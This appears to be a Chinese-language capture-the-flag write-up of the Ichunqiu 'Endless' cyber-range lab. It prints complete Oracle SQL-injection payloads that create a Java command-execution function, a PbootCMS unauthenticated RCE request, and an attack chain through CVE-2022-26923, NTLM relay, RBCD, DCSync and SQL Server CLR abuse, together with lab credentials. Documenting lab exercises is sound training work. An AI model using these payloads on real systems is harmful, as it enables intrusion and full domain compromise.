Ichunqiu云境 —— Endless(无间计划) Writeup
Author:小离-xiaoli
0x00 Intro
前言:
-
• 两个入口点,一个入口点是pboot-cms,另外一个是SQL注入
-
• 这边入口外网IP可能会有不一致的地方,因为靶场重启次数比较多,IP经常变化
-
• OSCP风格,不使用CS/MSF
-
• 这个靶场共有12个Flag
0x01 Recon
扫描结果:
-
1. 入口点1 – SQL注入 (Linux):
-
2. 入口点2 – Pboot-CMS (Linux):
0x02 入口点1 – SQL注入 (Linux)
前言:
-
• 一个站库分离的oracle注入,web是linux,注入点可以通过oracle注入发现到是一个windows,权限非dba,只有java runtime permission,这里没截图
-
• 这里前几次都没打成功,卡了挺久,后面搭建了个oracle和九世一起测试的
-
• 不建议用SqlMap,会把站打挂,并且可以看源码发现sqlmap提权函数没有定义关于oracle数据库的攻击方法
-
• Oracle 版本
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0
-
1. 直接上payload
1. 创建JAVA Source
admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual)>1 --
2.提权
admin' AND (SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin sys.dbms_cdc_publish.create_change_set('''' a'''',''''a'''',''''a''''''''||TEST.pwn()||''''''''a'''',''''Y'''',s ysdate,sysdate);end;''; commit; end;') from dual)>1--
3.创建函数
admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LINXRUNCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual)>1--
4.查询创建的函数
admin' union select null,(select object_name from all_objects where object_name ='LINXRUNCMD' and rownum=1),null from dual--
5.查询java source
admin' union select null,(select object_name from all_objects where object_name ='LinxUtil'),null from dual--
6.命令执行
admin' union select null,(select LINXRUNCMD('whoami') from dual),null from dual--
-
2. 函数LINXRUNCMD创建成功
-
3. whoami,直接是system权限了
-
4. ipconfig,该数据库内网IP为 172.23.4.51,此时需要回到入口点2进入内网了 !
0x03 入口点2 – Pboot-CMS (Linux) – Flag 1
前言:
-
• 西湖论剑CTF的题目,有WAF,考你怎么绕过pboot cms的disable function,这里用的是大哥的payload https://guokeya.github.io/post/WscncUrcS/
-
1. Payload(未授权RCE):
GET /?a=}{pboot{user:password}:if(("sysx74em")("whoami"));//)}xxx{/pboot{user:password}:if} HTTP/1.1
Host: 39.98.94.70:80
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://39.98.94.70/admin.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: lg=cn; PbootSystem=h6o5ta1btl6o32bi184ula183l
Connection: close
Content-Length: 0
-
2. PrivESC to root with CVE-2022-2588(这里用不了pwnkit,pkexec玄学)
-
3. 入口IP 172.23.4.32
-
4. Flag 1
0x05 Target: 172.23.4.51 – Flag 2
-
1. 通过上面的入口点搭建代理,横向回到上面打下的oracle数据库 172.23.4.51,获取到Flag 2
0x04 Target: 172.23.4.12 – Flag 3
-
1. 172.23.4.51 的Desktop 有个Usera的凭据
username: usera@pentest.com
password:Admin3gv83
-
2. 挂个代理,CME扫一扫
-
3. 这里忘记截图了,usera对4.12能RDP,RDP上去就可以了
-
• 提权方法1:krbrelayup直接提权
-
• 提权方法2:usera对该机器有writedacl,能rbcd提权到system
-
4. 横向上去后,发现C:usersusera目录下有.ssh目录,里面有一个私钥(私钥没截到图),known_hosts看到有个IP 172.23.4.19
-
5. Flag 3
0x05 Target: 172.23.4.19 (172.24.7.16) – Flag 4
-
1. 使用在172.23.4.12获取到的私钥登录进入172.23.4.19,回到了上面入口点1的web服务器,获取到root权限
-
2. Flag 4
0x06 突破内网隔离处-1 – No Flag
-
• 172.23.4.12 – 双网卡 – 172.24.7.16
0x07 Target: 172.24.7.48 (绕路) – Flag 5
前言:
-
• 这里会绕路,是靶场设计思路的问题,我一开始也没想到能直接用CVE-2022-26923打下来,后面在这台机器上实在翻不到东西了,才用了CVE-2022-26923
-
• 后续和作者沟通了,作者原先是希望说从通过下述操作拿下机器后,找到一张管理员的证书,用证书直接打到域控,但是作者可能觉得太简单了,后面把证书删除了,后面复盘的时候作者说就是用 CVE-2022-26923 打下来
-
• 个人建议的话,可以在这台机器上弄一些信息泄露的点,用泄露的凭据改ESC1之类的,如果要增加难度的话,可以考虑把智能卡攻击也弄上
-
1. 使用凭据usera扫描一下172.24.7.0/24,调用petitpotam
-
2. 这里IP和主机名有点乱,我们备注一下
172.24.7.5 DCadmin.pen.me (当前不在我们的范围内)
172.24.7.48 IZAYSXE6VCUHB4Z.pentest.me (在范围内,未拿下)
172.24.7.16 IZMN9U6ZO3VTRNZ.pentest.me (在范围内,已经拿下)
172.24.7.3 DC.pentest.me (在范围内,未拿下)
172.24.7.43 IZMN9U6ZO3VTRPZ.pentest.me (在范围内,未拿下)
-
3. 扫一扫webclient服务,确定172.24.7.48能打下了
-
4. 难点在于你现在处于第二层网段,也好解决
-
• 端口转发链如下
172.24.7.16:80(双网卡,通172.23.4.0/24) ---forward--- 172.23.4.19:81(SSH) ---forward--- localhost:79 ---forward--- kali:8001
-
• SSH端口转发监听127.0.0.1的问题可以看回我之前的文章:IChunQiu-spoofing
-
5. 端口转发准备:
172.23.4.19
172.24.7.16(也是IP 172.23.4.12)
-
6. 启用ntlmrelayx.py,这里的escalate-user写的是172.24.7.16的主机名,截图是已经用petitpotam触发回连了,可以看到是已经完成了rbcd攻击了
-
7. petitpotam触发webclient实现中继
-
8. Flag 5
0x08 Target: 172.24.7.3 – Flag 6
-
1. 域控装了ADCS(直接SMB看域控共享就懂了)
-
2. 提示ESC8
-
3. 但是,经过复杂的操作 (停445+端口转发),却和我说ADCS关了ntlm认证
-
4. 后面实在找不到东西了,直接CVE-2022-26923冲死,使用一个有效域凭据(普通权限)创建机器账户
-
5. CVE-2022-26923生成一张域控的证书
-
6. 还原NTLM出来(这里忘记截图,只能用帮助文档了)
-
7. Dcsync
-
8. 远程上172.24.7.3就能获得Flag 6了,这里忘记截图了
-
9. 然后就顺便扫一扫看看有没有其他网卡
0x09 突破内网隔离处-2 – No Flag
-
• 172.24.7.3 – 双网卡 – 172.25.12.9
0x10 Target: 172.25.12.7 – Flag 7
前言:
-
• 这里原先是用sid history进行跨域攻击,但是靶场环境有问题,作者也排查了很多次,确认环境有问题,sid history始终没打成功(没有开启sid过滤),然后作者才选择更换攻击路径
-
1. DCadmin 这台机器也是双网卡(172.24.7.5 和 172.25.12.7),不知道为什么上面的探测没扫出来
-
2. 到这里,我们更新一下笔记
pen.me
172.25.12.7 (172.24.7.5) DCadmin.pen.me (在范围内,还没拿下)
172.25.12.19 IZ1TUCEKFDPCEMZ.pen.me (在范围内,还没拿下)
172.25.12.29 IZ88QYK8Y8Y3VXZ.pen.me (在范围内,还没拿下)
pentest.me
172.25.12.9 (172.24.7.3) DC.pentest.me (在范围内,已经拿下)
172.24.7.48 IZAYSXE6VCUHB4Z.pentest.me (在范围内,已经拿下)
172.24.7.16 IZMN9U6ZO3VTRNZ.pentest.me (在范围内,已经拿下)
172.24.7.3 DC.pentest.me (在范围内,已经拿下)
172.24.7.43 IZMN9U6ZO3VTRPZ.pentest.me (在范围内,有管理员凭据,还没登录上去)
-
3. Bloodhound看看是什么关系,可以看到,[email protected] 是 dcadmin.pen.me的管理员
-
4. 这里也是有些奇怪,作者是可以直接横向过去的 !
-
• 嘿,轮到我就不行(不知道是什么原因,我psexec也没成功) !
-
5. 干脆就RBCD了,我也不纠结 (RBCD过程省略)
-
6. Flag 7
-
7. DCSync过程略
0x11 Target: 172.25.12.19 – Flag 8
-
1. 用上面DCSync获取到的域管理员凭据直接横向就可以获取到 Flag 8 了
0x12 Target: 172.25.12.29 – Flag 9
-
1. 用上面DCSync获取到的域管理员凭据直接横向就可以获取到 Flag 9 了
0x13 Target: 172.25.12.19 (Exchange) – Flag 10
-
1. 看看这台机器的SPN,就知道172.25.12.19上面跑着Exchange了 !
-
2. 在域内你可以快速过滤homeMDB这个attribute,就知道用户有没有登录过邮服了,以下这个Exchange用户是我们要看的
-
3. 使用Exchange用户登录进入OWA,就可以获取到Flag 10 了
0x14 Target: 172.24.7.43 (172.26.8.12) – Flag 11
-
1. 用上面在pentest.me里面DCSync获取到的管理员凭据直接横向过去172.24.7.43即可获取到Flag11 了
0x15 突破内网隔离处-3 – No Flag
-
• 172.24.7.43 – 双网卡 – 172.26.8.12
0x16 Target: 172.24.7.27 & 172.24.7.23 – No Flag
-
1. 我们回到 172.24.7.0/24,内网扫描 172.24.7.0/24发现有两个web服务,一个confluence和一个gitlab,对应url如下
confluence: 172.24.7.27:8090
gitlab: 172.24.7.23
-
2. 使用上面获取到的usera凭据直接登录进入confluence,可以发现有两个xlsx列表,用最新的即可
-
3. 无间实验室人员名单.xlsx
-
4. 在dc.pentest.me批量跑一下ldap,发现都是有效凭据,这里随便一个域用户都能登录进入gitlab,但是都没项目(登录gitlab的图忘记截图了)
-
5. 可以用在ldap筛选出有效用户(毕竟是ldap认证,当然你用kerbrute枚举也可以),然后配合利用git命令批量枚举,你能发现用户luizhuo有一个私人项目叫 Financial system-demo
-
6. 有一个SQL Server的凭据,但是IP是127.0.0.1
-
7. 找找commit历史,发现一个ip 172.26.8.16
-
8. 凭据记录
IP: 172.26.8.16
username: sa
password: sqlserver_2022
7. 后续复盘和作者交流过,gitlab不能直接拿下,但是最新的exp我没测试,有兴趣的大哥可以测试一下
0x17 Target: 172.26.8.16 – Flag 12
-
1. 因为 172.24.7.43 这台机器通往 172.26.8.0/24网段,我们在 gitlab 172.24.7.23 刚好获取到过一个 SQL Server的凭据
IP: 172.26.8.16
username: sa
password: sqlserver_2022
-
2. 在这台机器上搞个代理,直接连接,然后一把梭(这里用的项目是https://github.com/Ridter/PySQLTools)
-
3. 服务账户权限
-
4. CLR提权
-
5. 直接改管理员密码
-
6. Flag 12
0x18 Attack Graph
0x19 Outro
-
• 感谢九世大哥的协作帮忙,入口点帮助了很多,oracle注入那看到头秃了
-
• 感谢作者满秋和WHOAMI的帮助
-
• 靶场在做的过程中,发现了不少的BUG,但是作者都很热心的修补了BUG,期间还退还了沙子
-
• 做起来和你打攻防项目一样坐牢
原文始发于微信公众号(Gcow安全团队):Ichunqiu云境 —— Endless(无间计划) Writeup